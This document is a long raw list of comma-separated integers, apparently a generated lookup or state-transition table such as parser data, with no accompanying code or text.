287,2170880,2215936,3022848,2170880,2441216,2170880,2527232,0,0,2170880,2600960,2170880,0,2850816,2170880,2170880,2170880,2170880,2170880,2523136,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2596864,2170880,2621440,2170880,2170880,2641920,2170880,2170880,2170880,3022848,2170880,2519040,2170880,2170880,2170880,2170880,2170880,2215936,2519040,2215936,2215936,2215936,2215936,2215936,2170880,2170880,2170880,2453504,2457600,2170880,2170880,2170880,2170880,2170880,2170880,2514944,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2592768,2170880,2170880,2519040,0,2024,2170880,2170880,0,2170880,2170880,2170880,2396160,2170880,2170880,2170880,2170880,3018752,2396160,2215936,2215936,2215936,2215936,3018752,2396160,0,2024,2170880,2170880,2170880,2170880,3018752,2170880,2650112,2965504,2170880,2215936,2650112,2965504,2215936,0,0,2170880,2650112,2965504,2170880,2551808,2170880,2551808,2215936,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,141,45,45,67,67,67,67,67,224,67,67,238,67,67,67,67,67,67,67,1288,67,67,67,67,67,67,67,67,67,469,67,67,67,67,67,67,0,2551808,2170880,2170880,2215936,0,2170880,2170880,2215936,0,2170880,2170880,2215936,0,2170880,2977792,2977792,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,53264,18,49172,57366,24,8192,29,102432,127011,110630,114730,106539,127011,127011,127011,53264,18,18,49172,0,0,0,24,24,24,0,28,28,28,28,102432,127,0,0,0,0,0,0,0,0,0,0,140,2170880,2170880,2170880,2416640,0,0,0,0,2220032,110630,0,0,0,114730,106539,136,2170880,2170880,2170880,2170880,2170880,2170880,0,53264,0,4256099,4256099,24,24,0,28,28,2170880,2461696,2170880,2170880,2170880,2510848,2170880,2170880,0,2170880,2170880,2580480,2170880,2605056,2637824,2170880,2170880,2170880,2547712,2555904,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3129344,2215936,2215936,543,543,545,545,0,0,2179072,0,550,551,551,0,287,2171166,2171166,18,0,0,0,0,0,0,0,0,2220032,0,0,645,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,45,149,2584576,2170880,2170880,0,0,2170880,2170880,2170880,2170880,2170880,2170880,2441216,2170880,2527232,2170880,2600960,2519040,0,0,2170880,2170880,0,2170880,2170880,2170880,2396160,2170880,2170880,2170880,2170880,3018752,2396160,2215936,2215936,2215936,2215936,3018752,2396160,0,0,2170880,2170880,2170880,2170880,3018752,2170880,2650112,2965504,53264,18,49172,57366,24,155648,28,102432,155648,155687,114730,106539,0,0,155648,53264,18,18,49172,0,57366,0,24,24,24,0,28,28,28,28,102432,0,0,0,0,2220032,0,94208,0,0,114730,106539,0,2170880,2170880,2170880,2170880,2170880,2170880,0,53264,208896,18,278528,24,24,0,28,28,53264,18,159765,57366,24,8192,28,102432,0,110630,114730,106539,0,0,0,53264,18,18,49172,0,57366,0,24,24,24,0,28,139394,28,28,102432,131,0,0,0,2220032,110630,0,0,0,114730,106539,0,2170880,2170880,2170880,2170880,2170880,2170880,32768,53264,0,18,18,24,24,0,28,28,0,546,0,0,2183168,0,0,552,832,2170880,2170880,2170880,2400256,2170880,2170880,2170880,2170880,2170880,2609152,2170880,2170880,2170880,2170880,2170880,2170880,2654208,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2215936,2215936,2215936,2215936,2215936,2215936,3198976,2215936,0,1084,0,1088,0,1092,0,0,0,0,0,41606,0,0,0,0,45,45,45,45,45,937,0,0,0,0,2220032,110630,0,0,0,114730,106539,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3198976,2170880,0,0,644,0,0,0,2215936,3117056,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,826,0,828,0,0,2183168,0,0,830,0,2170880,2170880,2170880,2400256,2170880,2170880,2170880,2170880,2592768,2170880,2170880,2170880,2170880,2633728,2170880,2170880,2170880,2170880,2170880,2170880,2711552,2170880,2170880,2170880,2170880,2170880,2760704,53264,18,49172,57366,24,8192,28,172066,172032,110630,172066,106539,0,0,172032,53264,18,18,49172,0,57366,0,24,24,24,16384,28,28,28,28,102432,0,98304,0,0,2220032,110630,0,0,0,0,106539,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3198976,2170880,0,0,45056,0,0,0,53264,18,49172,57366,25,8192,30,102432,0,110630,114730,106539,0,0,176219,53264,18,18,49172,0,57366,0,124,124,124,0,128,128,128,128,102432,128,0,0,0,0,0,0,0,0,0,0,140,2170880,2170880,2170880,2416640,0,546,0,0,2183168,0,65536,552,0,2170880,2170880,2170880,2400256,2170880,2170880,2170880,2170880,2646016,2670592,2752512,2756608,2846720,2961408,2170880,2998272,2170880,3010560,2170880,2170880,2215936,2215936,2215936,2215936,2215936,2215936,3198976,2215936,0,0,0,0,0,0,65536,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,143,45,45,67,67,67,67,67,227,67,67,67,67,67,67,67,67,67,1824,67,1826,67,67,67,67,17,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,32768,120,121,18,18,49172,0,57366,0,24,24,24,0,28,28,28,28,102432,67,67,37139,37139,24853,24853,0,0,2179072,548,0,65820,65820,0,287,97,0,0,97,97,0,97,97,97,45,45,45,45,2033,45,67,67,67,67,0,0,97,97,97,97,45,45,67,67,0,369,0,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,978,0,546,70179,0,2183168,0,0,552,0,97,97,97,97,97,97,97,45,45,45,45,45,45,45,45,45,45,67,67,67,67,67,1013,67,67,67,67,67,67,67,67,67,67,473,67,67,67,67,483,67,67,1025,67,67,67,67,67,67,67,67,67,67,67,67,67,97,97,97,97,97,0,0,97,97,97,97,1119,97,97,97,97,97,97,97,97,97,97,97,97,1359,97,97,97,67,67,1584,67,67,67,67,67,67,67,67,67,67,67,67,67,497,67,67,1659,45,45,45,45,45,45,45,45,45,1667,45,45,45,45,45,169,45,45,45,45,45,45,45,45,45,45,45,1668,45,45,45,45,67,67,1694,67,67,67,67,67,67,67,67,67,67,67,67,67,774,67,67,1713,97,97,97,97,97,97,97,0,97,97,1723,97,97,97,97,0,45,45,45,45,45,45,1538,45,45,45,45,45,1559,45,45,1561,45,45,45,45,45,45,45,687,45,45,45,45,45,45,45,45,448,45,45,45,45,45,45,67,67,67,67,1771,1772,67,67,67,67,67,67,67,67,97,97,97,97,0,0,0,97,67,67,67,67,67,1821,67,67,67,67,67,67,1827,67,67,67,0,0,0,0,0,0,97,97,1614,97,97,97,97,97,603,97,97,605,97,97,608,97,97,97,97,0,1532,45,45,45,45,45,45,45,45,45,45,450,45,45,45,45,67,67,97,97,97,97,97,97,0,0,1839,97,97,97,97,0,0,97,97,97,97,97,45,45,45,45,45,45,45,67,67,67,67,67,67,67,97,1883,97,1885,97,0,1888,0,97,97,0,97,97,1848,97,97,97,97,1852,45,45,45,45,45,45,45,384,391,45,45,45,45,45,45,45,385,45,45,45,45,45,45,45,45,1237,45,45,45,45,45,45,67,0,97,97,97,97,0,0,0,97,97,97,97,97,97,45,45,45,45,45,45,45,1951,45,45,45,45,45,45,45,45,67,67,67,67,1963,97,2023,0,97,97,0,97,97,97,45,45,45,45,45,45,67,67,1994,67,1995,67,67,67,67,67,67,97,0,0,0,0,0,0,0,0,0,0,0,0,0,0,97,97,97,0,0,0,0,2220032,110630,0,0,0,114730,106539,137,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2793472,2805760,2170880,2830336,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3031040,2170880,3055616,2170880,2170880,67,67,37139,37139,24853,24853,0,0,281,549,0,65820,65820,0,287,97,0,0,97,97,0,97,97,97,45,45,2031,2032,45,45,67,67,67,67,67,67,67,67,67,67,67,67,1769,67,0,546,70179,549,549,0,0,552,0,97,97,97,97,97,97,97,45,45,45,45,45,45,1858,45,641,0,0,0,0,41606,926,0,0,0,45,45,45,45,45,45,45,45,45,45,45,45,45,45,456,67,0,0,0,1313,0,0,0,1096,1319,0,0,0,0,97,97,97,97,97,97,97,97,1110,97,97,97,97,67,67,67,67,1301,1476,0,0,0,0,1307,1478,0,0,0,0,0,0,0,0,97,97,97,97,1486,97,1487,97,1313,1480,0,0,0,0,1319,0,97,97,97,97,97,97,97,97,97,566,97,97,97,97,97,97,67,67,67,1476,0,1478,0,1480,0,97,97,97,97,97,97,97,45,1853,45,1855,45,45,45,45,53264,18,49172,57366,26,8192,31,102432,0,110630,114730,106539,0,0,225368,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,32768,53264,18,18,49172,163840,57366,0,24,24,229376,0,28,28,28,229376,102432,0,0,0,0,2220167,110630,0,0,0,114730,106539,0,2171019,2171019,2171019,2171019,2592907,2171019,2171019,2171019,2171019,2633867,2171019,2171019,2171019,2171019,2171019,2171019,2654347,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3117195,2171019,2171019,2171019,2171019,2240641,0,0,0,0,0,0,0,0,368,0,140,2171019,2171019,2171019,2416779,2424971,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2617483,2171019,2171019,2642059,2171019,2171019,2171019,2699403,2171019,2728075,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3215499,2215936,2215936,2215936,2215936,2215936,2437120,2215936,2215936,2171019,2822283,2171019,2171019,2855051,2171019,2171019,2171019,2912395,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3002507,2171019,2171019,2215936,2215936,2494464,2215936,2215936,2215936,2171166,2171166,2416926,2425118,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2576670,2171166,2617630,2171166,2171166,2171166,2171166,2171166,2171166,2691358,2171166,2707742,2171166,2715934,2171166,2724126,2765086,2171166,2171166,2797854,2171166,2822430,2171166,2171166,2855198,2171166,2171166,2171166,2912542,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2793758,2806046,2171166,2830622,2171166,2171166,2171166,2171166,2171166,2171166,2171166,3109150,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2543902,2171166,2171166,2171166,2171166,2171166,2629918,2793611,2805899,2171019,2830475,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,0,546,0,0,2183168,0,0,552,0,2171166,2171166,2171166,2400542,2171166,2171166,2171166,0,2171166,2171166,2171166,0,2171166,2920734,2171166,2171166,2171166,2990366,2171166,2171166,2171166,2171166,3117342,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,0,53264,0,18,18,4329472,2232445,0,2240641,4337664,2711691,2171019,2171019,2171019,2171019,2171019,2760843,2769035,2789515,2814091,2171019,2171019,2171019,2875531,2904203,2171019,2171019,3092619,2171019,2171019,3125387,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3199115,2171019,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2453504,2457600,2215936,2215936,2215936,2215936,2215936,2215936,2793472,2805760,2215936,2830336,2215936,2215936,2215936,2215936,2215936,2215936,2170880,2170880,2170880,2170880,2170880,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2494464,2170880,2170880,2171166,2171166,2634014,2171166,2171166,2171166,2171166,2171166,2171166,2711838,2171166,2171166,2171166,2171166,2171166,2760990,2769182,2789662,2814238,2171166,2171166,2171166,2875678,2904350,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,3199262,2171166,0,0,0,0,0,0,0,0,0,2379915,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2445451,2171019,2465931,2474123,2171019,2171019,3113099,2171019,2171019,3133579,2171019,2171019,2171019,3162251,2171019,2171019,3182731,3186827,2171019,2379776,2879627,2171019,2916491,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3027083,2171019,2171019,3063947,2699550,2171166,2728222,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2879774,2171166,2916638,2171166,2171166,2171166,2171166,2171166,2609438,2171166,2171166,2171166,2171166,2171166,2171166,2654494,2171166,2171166,2171166,2171166,2171166,2445598,2171166,2466078,2474270,2171166,2171166,2171166,2171166,2171166,2171166,2523422,2171019,2437259,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2543755,2171019,2171019,2171019,2584715,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2908299,2171019,2171019,2936971,2171019,2171019,2986123,2171019,2994315,2171019,2171019,3014795,2171019,3059851,3076235,3088523,2171166,2171166,2986270,2171166,2994462,2171166,2171166,3014942,2171166,3059998,3076382,3088670,2171166,2171166,2171166,2171166,2171166,2171166,3027230,2171166,2171166,3064094,2171166,2171166,3113246,2171166,2171166,3133726,2506891,2171019,2171019,2171019,2535563,2539659,2171019,2171019,2588811,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2691211,2171019,2707595,2171019,2715787,2171019,2723979,2764939,2171019,2171019,2797707,2215936,2215936,3170304,0,0,0,0,0,0,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2453790,2457886,2171166,2171166,2171166,2486558,2171166,2171166,2507038,2171166,2171166,2171166,2535710,2539806,2171166,2171166,2588958,2171166,2171166,2171166,2171166,2515230,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2593054,2171166,2171166,2171166,2171166,3051806,2171166,2171166,2171166,2171166,2171166,2171166,3170590,0,2388107,2392203,2171019,2171019,2433163,2171019,2461835,2171019,2171019,2171019,2510987,2171019,2171019,2171019,2171019,2580619,2171019,2605195,2637963,2171019,2171019,2171019,2920587,2171019,2171019,2171019,2990219,2171019,2171019,2171019,2171019,3051659,2171019,2171019,2171019,2453643,2457739,2171019,2171019,2171019,2171019,2171019,2171019,2515083,2171019,2171019,2171019,2171019,2646155,2670731,2752651,2756747,2846859,2961547,2171019,2998411,2171019,3010699,2171019,2171019,2687115,2748555,2171019,2171019,2171019,2924683,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3121291,2171019,2171019,2171019,3170443,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2486272,2215936,2215936,2506752,3145867,3158155,3166347,2387968,2392064,2215936,2215936,2433024,2215936,2461696,2215936,2215936,2215936,2510848,2215936,2215936,0,0,0,0,0,0,2179072,0,0,0,0,0,553,2170880,2215936,2215936,2215936,2215936,2215936,3121152,2215936,2215936,3145728,3158016,3166208,2388254,2392350,2171166,2171166,2433310,2171166,2461982,2171166,2171166,2171166,2511134,2171166,2171166,0,2171166,2171166,2580766,2171166,2605342,2638110,2171166,2171166,2171166,2171166,3031326,2171166,3055902,2171166,2171166,2171166,2171166,3092766,2171166,2171166,3125534,2171166,2171166,2171166,3162398,2171166,2171166,3182878,3186974,2171166,0,0,0,2171019,2171019,2171019,2171019,3109003,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2215936,2215936,2215936,2400256,2215936,2215936,2215936,2215936,2171166,2687262,0,0,2748702,2171166,2171166,0,2171166,2924830,2171166,2171166,2171166,2171166,2171166,2171166,2171166,2597150,2171166,2621726,2171166,2171166,2642206,2171166,2171166,2171166,2171166,3121438,2171166,2171166,3146014,3158302,3166494,2171019,2420875,2429067,2171019,2478219,2171019,2171019,2171019,2171019,2547851,2556043,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,3129483,2215936,2171019,3141771,2215936,2420736,2428928,2215936,2478080,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2646016,2670592,2752512,2756608,2846720,2961408,2215936,2998272,2215936,3010560,2215936,2215936,2215936,3141632,2171166,2421022,2429214,2171166,2478366,2171166,2171166,2171166,2171166,0,0,2171166,2171166,2171166,2171166,2646302,2670878,0,0,0,0,37,110630,0,0,0,114730,106539,0,45,45,45,45,45,1405,1406,45,45,45,45,1409,45,45,45,45,45,1415,45,45,45,45,45,45,45,45,45,45,1238,45,45,45,45,67,2752798,2756894,0,2847006,2961694,2171166,2998558,2171166,3010846,2171166,2171166,2171166,3141918,2171019,2171019,2490507,3129344,2171166,2171166,2490654,2171166,2171166,2171166,0,0,2547998,2556190,2171166,2171166,2171166,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,45,45,167,45,45,45,45,185,187,45,45,198,45,45,0,2171166,2171166,2171166,2171166,2171166,2171166,3129630,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2576523,2171019,2171019,2171019,2171019,2171019,2609291,2171019,2215936,2215936,2215936,2215936,2215936,2215936,3002368,2215936,2215936,2171166,2171166,2494750,2171166,2171166,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,45,147,2584576,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2171166,2171166,2171166,2171166,0,0,0,2171166,2171166,2171166,2171166,0,0,0,2171166,2171166,2171166,3002654,2171166,2171166,2171019,2171019,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,0,0,0,0,0,0,2175257,0,0,2584862,2171166,2171166,0,0,2171166,2171166,2171166,2171166,2171166,2171019,2441355,2171019,2527371,2171019,2601099,2171019,2850955,2171019,2171019,2171019,3022987,2215936,2441216,2215936,2527232,2215936,2600960,2215936,2850816,2215936,2215936,0,0,0,0,0,0,2179072,0,0,0,0,69632,287,2170880,2215936,3022848,2171166,2441502,2171166,2527518,0,0,2171166,2601246,2171166,0,2851102,2171166,2171166,2171166,2171166,2720030,2744606,2171166,2171166,2171166,2834718,2838814,2171166,2908446,2171166,2171166,2937118,3023134,2171019,2519179,2171019,2171019,2171019,2171019,2171019,2215936,2519040,2215936,2215936,2215936,2215936,2215936,2171166,2171166,2171166,3215646,0,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2171019,2486411,2171019,2171019,2171019,2629771,2171019,2171019,2171019,2171019,2719883,2744459,2171019,2171019,2171019,2834571,2838667,2171019,2519326,0,0,2171166,2171166,0,2171166,2171166,2171166,2396299,2171019,2171019,2171019,2171019,3018891,2396160,2215936,2215936,2215936,2215936,3018752,2396446,0,0,2171166,2171166,2171166,2171166,3019038,2171019,2650251,2965643,2171019,2215936,2650112,2965504,2215936,0,0,2171166,2650398,2965790,2171166,2551947,2171019,2551808,2215936,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,144,45,45,67,67,67,67,67,228,67,67,67,67,67,67,67,67,67,1929,97,97,97,97,0,0,0,2552094,2171166,2171019,2215936,0,2171166,2171019,2215936,0,2171166,2171019,2215936,0,2171166,2977931,2977792,2978078,0,0,0,0,0,0,0,0,0,0,0,0,0,0,97,1321,97,131072,0,0,0,0,0,0,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,0,53264,0,18,18,24,24,0,28,28,0,140,0,2379776,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2445312,2170880,2465792,2473984,2170880,2170880,2170880,2584576,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2215936,2170880,2170880,2170880,3162112,2170880,2170880,3182592,3186688,2170880,0,140,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3002368,2170880,2170880,2215936,2215936,2494464,2215936,2215936,2215936,2215936,2215936,2215936,3215360,544,0,0,0,544,0,546,0,0,0,546,0,0,2183168,0,0,552,0,2170880,2170880,2170880,2400256,2170880,2170880,2170880,0,2170880,2170880,2170880,0,2170880,2920448,2170880,2170880,2170880,2990080,2170880,2170880,552,0,0,0,552,0,287,0,2170880,2170880,2170880,2170880,2170880,2437120,2170880,2170880,18,0,0,0,0,0,0,0,0,2220032,0,0,644,0,2215936,2215936,3170304,544,0,546,0,552,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3198976,2170880,0,0,0,140,0,0,53264,18,49172,57366,24,8192,28,102432,249856,110630,114730,106539,0,0,32768,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,151640,53264,18,18,49172,0,57366,0,24,24,24,0,28,28,28,28,0,0,0,0,0,0,0,0,0,0,0,2170880,2170880,2170880,2416640,53264,18,49172,57366,24,8192,28,102432,253952,110630,114730,106539,0,0,32856,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,192512,53264,18,18,49172,0,57366,0,2232445,184320,2232445,0,2240641,2240641,184320,2240641,102432,0,0,0,221184,2220032,110630,0,0,0,114730,106539,0,2170880,2170880,2170880,2170880,2170880,2170880,2170880,3108864,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2215936,0,0,0,45056,0,0,0,0,0,0,2170880,2170880,2170880,2170880,2170880,2170880,0,53264,0,18,18,24,24,0,127,127,53264,18,49172,258071,24,8192,28,102432,0,110630,114730,106539,0,0,32768,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,204800,53264,18,49172,57366,24,27,28,102432,0,110630,114730,106539,0,0,0,53264,18,49172,57366,24,8192,28,33,0,33,33,33,0,0,0,53264,18,18,49172,0,57366,0,24,24,24,16384,28,28,28,28,0,0,0,0,0,0,0,0,0,0,139,2170880,2170880,2170880,2416640,67,67,37139,37139,24853,24853,0,70179,0,0,0,65820,65820,369,287,97,0,0,97,97,0,97,97,97,45,2030,45,45,45,45,67,1573,67,67,67,67,67,67,67,67,67,67,67,1699,67,67,67,67,25403,546,70179,0,0,66365,66365,552,0,97,97,97,97,97,97,97,97,1355,97,97,97,1358,97,97,97,641,0,0,0,925,41606,0,0,0,0,45,45,45,45,45,45,45,1187,45,45,45,45,45,0,1480,0,0,0,0,1319,0,97,97,97,97,97,97,97,97,97,592,97,97,97,97,97,97,97,97,97,97,1531,45,45,45,45,45,45,45,45,45,45,45,45,1680,45,45,45,641,0,924,0,925,41606,0,0,0,0,45,45,45,45,45,45,1186,45,45,45,45,45,45,67,67,37139,37139,24853,24853,0,70179,282,0,0,65820,65820,369,287,97,0,0,97,97,0,97,2028,97,45,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,1767,67,67,67,0,0,0,0,0,0,1612,97,97,97,97,97,97,0,1785,97,97,97,97,97,97,0,0,97,97,97,97,1790,97,0,0,2170880,2170880,3051520,2170880,2170880,2170880,2170880,2170880,2170880,3170304,241664,2387968,2392064,2170880,2170880,2433024,53264,19,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,274432,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,270336,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,1134711,53264,18,49172,57366,24,8192,28,102432,0,1126440,1126440,1126440,0,0,1126400,53264,18,49172,57366,24,8192,28,102432,36,110630,114730,106539,0,0,217088,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,94,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,96,53264,18,49172,57366,24,8192,28,102432,0,110630,114730,106539,0,0,24666,53264,18,18,49172,0,57366,0,24,24,24,126,28,28,28,28,102432,53264,122,123,49172,0,57366,0,24,24,24,0,28,28,28,28,102432,2170880,2170880,4256099,0,0,0,0,0,0,0,0,2220032,0,0,0,0,0,0,0,0,1319,0,0,0,0,97,97,97,97,97,97,97,1109,97,97,97,97,1113,132,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,45,146,150,45,45,45,45,45,175,45,180,45,186,45,189,45,45,203,67,256,67,67,270,67,67,0,37139,24853,0,0,0,0,41098,65820,97,97,97,293,297,97,97,97,97,97,322,97,327,97,333,97,0,0,97,2026,0,2027,97,97,45,45,45,45,45,45,67,67,67,1685,67,67,67,67,67,67,67,1690,67,336,97,97,350,97,97,0,53264,0,18,18,24,24,356,28,28,0,0,0,0,0,0,0,0,0,0,140,2170880,2170880,2170880,2416640,2424832,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2170880,2617344,2170880,45,439,45,45,45,45,45,45,45,45,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,525,67,67,67,67,67,67,67,67,67,67,67,0,0,0,0,0,0,0,0,0,0,0,0,97,97,97,97,622,97,97,97,97,97,97,97,97,97,97,97,97,1524,97,97,1527,369,648,45,45,45,45,45,45,45,45,45,659,45,45,45,45,408,45,45,45,45,45,45,45,45,45,45,45,1239,45,45,45,67,729,45,45,45,45,45,45,45,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,67,762,67,746,67,67,67,67,67,67,67,67,67,759,67,67,67,67,0,0,0,1477,0,1086,0,0,0,1479,0,1090,67,67,796,67,67,799,67,67,67,67,67,67,67,67,67,67,67,67,1291,67,67,67,811,67,67,67,67,67,816,67,67,67,67,67,67,67,37689,544,25403,546,70179,0,0,66365,66365,552,833,97,97,97,97,97,97,97,97,1380,0,0,0,45,45,45,45,45,1185,45,45,45,45,45,45,45,386,45,45,45,45,45,45,45,45,1810,45,45,45,45,45,45,67,97,97,844,97,97,97,97,97,97,97,97,97,857,97,97,97,0,97,97,97,0,97,97,97,97,97,97,97,97,97,97,45,45,45,97,97,97,894,97,97,897,97,97,97,97,97,97,97,97,97,0,0,0,1382,45,45,45,97,909,97,97,97,97,97,914,97,97,97,97,97,97,97,923,67,67,1079,67,67,67,67,67,37689,1085,25403,1089,66365,1093,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,45,148,1114,97,97,97,97,97,97,1122,97,97,97,97,97,97,97,97,97,606,97,97,97,97,97,97,97,97,97,97,1173,97,97,97,97,97,12288,0,925,0,1179,0,0,0,0,37,110630,0,0,0,114730,106539,41098,45,45,145,45,45,67,67,67,67,67,1762,67,67,67,1766,67,67,67,67,67,67,528,67,67,67,67,67,67,67,67,67,97,97,97,97,97,0,1934,67,67,1255,67,67,67,67,67,67,67,67,67,67,67,67,67,1035,67,67,67,67,67,67,1297,67,67,67,67,67,67,0,0,0,0,0,0,97,97,97,97,97,97,97,97,97,97,1111,97,97,97,97,97,97,1327,97,97,97,97,97,97,97,97,97,97,97,97,33344,97,97,97,1335,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,97,0,97,97,1377,97,97,97,97,97,97,0,1179,0,45,45,45,45,670,45,45,45,45,45,45,45,45,45,45,45,430,45,45,45,45,67,67,1438,67,67,1442,67,67,67,67,67,67,67,67,67,67,67,67,1592,67,67,67,1451,67,67,67,67,67,67,67,67,67,67,1458,67,67,67,67,0,0,1305,0,0,0,0,0,1311,0,0,0,1317,0,0,0,0,0,0,0,97,97,1322,97,97,1491,97,97,1495,97,97,97,97,97,97,97,97,97,97,0,45,45,45,45,45,45,45,45,45,45,45,45,1551,45,1553,45,1504,97,97,97,97,97,97,97,97,97,97,1513,97,97,97,97,0,45,45,45,45,1536,45,45,45,45,1540,45,67,67,67,67,67,1585,67,67,67,67,67,67,67,67,67,67,67,67,1700,67,67,67,97,1648,97,97,97,97,97,97,97,97,0,45,45,45,45,45,45,45,45,45,45,1541,0,97,97,97,97,0,1940,0,97,97,97,97,97,97,45,45,2011,45,45,45,2015,67,67,2017,67,67,67,2021,97,67,67,812,67,67,67,67,67,67,67,67,67,67,67,37689,544,97,97,97,910,97,97,97,97,97,97,97,97,97,97,97,923,0,0,0,45,45,45,45,1184,45,45,45,45,1188,45,45,45,45,1414,45,45,45,1417,45,1419,45,45,45,45,45,443,45,45,45,45,45,45,453,45,45,67,67,67,67,1244,67,67,67,67,1248,67,67,67,67,67,67,67,0,37139,24853,0,0,0,282,41098,65820,97,1324,97,97,97,97,1328,97,97,97,97,97,97,97,97,97,0,0,930,45,45,45,45,97,97,97,97,1378,97,97,97,97,0,1179,0,45,45,45,45,671,45,45,45,45,45,45,45,45,45,45,45,975,45,45,45,45,67,67,1923,67,1925,67,67,1927,67,97,97,97,97,97,0,0,97,97,97,97,1985,45,45,45,45,45,45,1560,45,45,45,45,45,45,45,45,45,946,45,45,950,45,45,45,0,97,97,97,1939,0,0,0,97,1943,97,97,1945,97,45,45,45,669,45,45,45,45,45,45,45,45,45,45,45,45,990,45,45,45,67,257,67,67,67,67,67,0,37139,24853,0,0,0,0,41098,65820,337,97,97,97,97,97,0,53264,0,18,18,24,24,356,28,28,0,0,0,0,0,0,0,0,0,0,370,2170880,2170880,2170880,2416640,401,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,45,67,67,459,461,67,67,67,67,67,67,67,67,475,67,480,67,67,67,67,67,67,1054,67,67,67,67,67,67,67,67,67,67,1698,67,67,67,67,67,484,67,67,487,67,67,67,67,67,67,67,67,67,67,67,67,67,1459,67,67,97,556,558,97,97,97,97,97,97,97,97,572,97,577,97,97,0,0,1896,97,97,97,97,97,97,1903,45,45,45,45,983,45,45,45,45,988,45,45,45,45,45,45,1195,45,45,45,45,45,45,45,45,45,45,1549,45,45,45,45,45,581,97,97,584,97,97,97,97,97,97,97,97,97,97,97,97,97,1153,97,97,369,0,45,45,45,45,45,45,45,45,45,45,45,662,45,45,45,684,45,45,45,45,45,45,45,45,45,45,45,45,1004,45,45,45,67,67,67,749,67,67,67,67,67,67,67,67,67,761,67,67,67,67,67,67,1068,67,67,67,1071,67,67,67,67,1076,794,795,67,67,67,67,67,67,67,67,67,67,67,67,67,67,0,544,97,97,97,97,847,97,97,97,97,97,97,97,97,97,859,97,0,0,2025,97,20480,97,97,2029,45,45,45,45,45,45,67,67,67,1575,67,67,67,67,67,67,67,67,67,1775,67,67,67,97,97,97,97,892,893,97,97,97,97,97,97,97,97,97,97,97,97,97,97,1515,97,993,994,45,45,45,45,45,45,45,45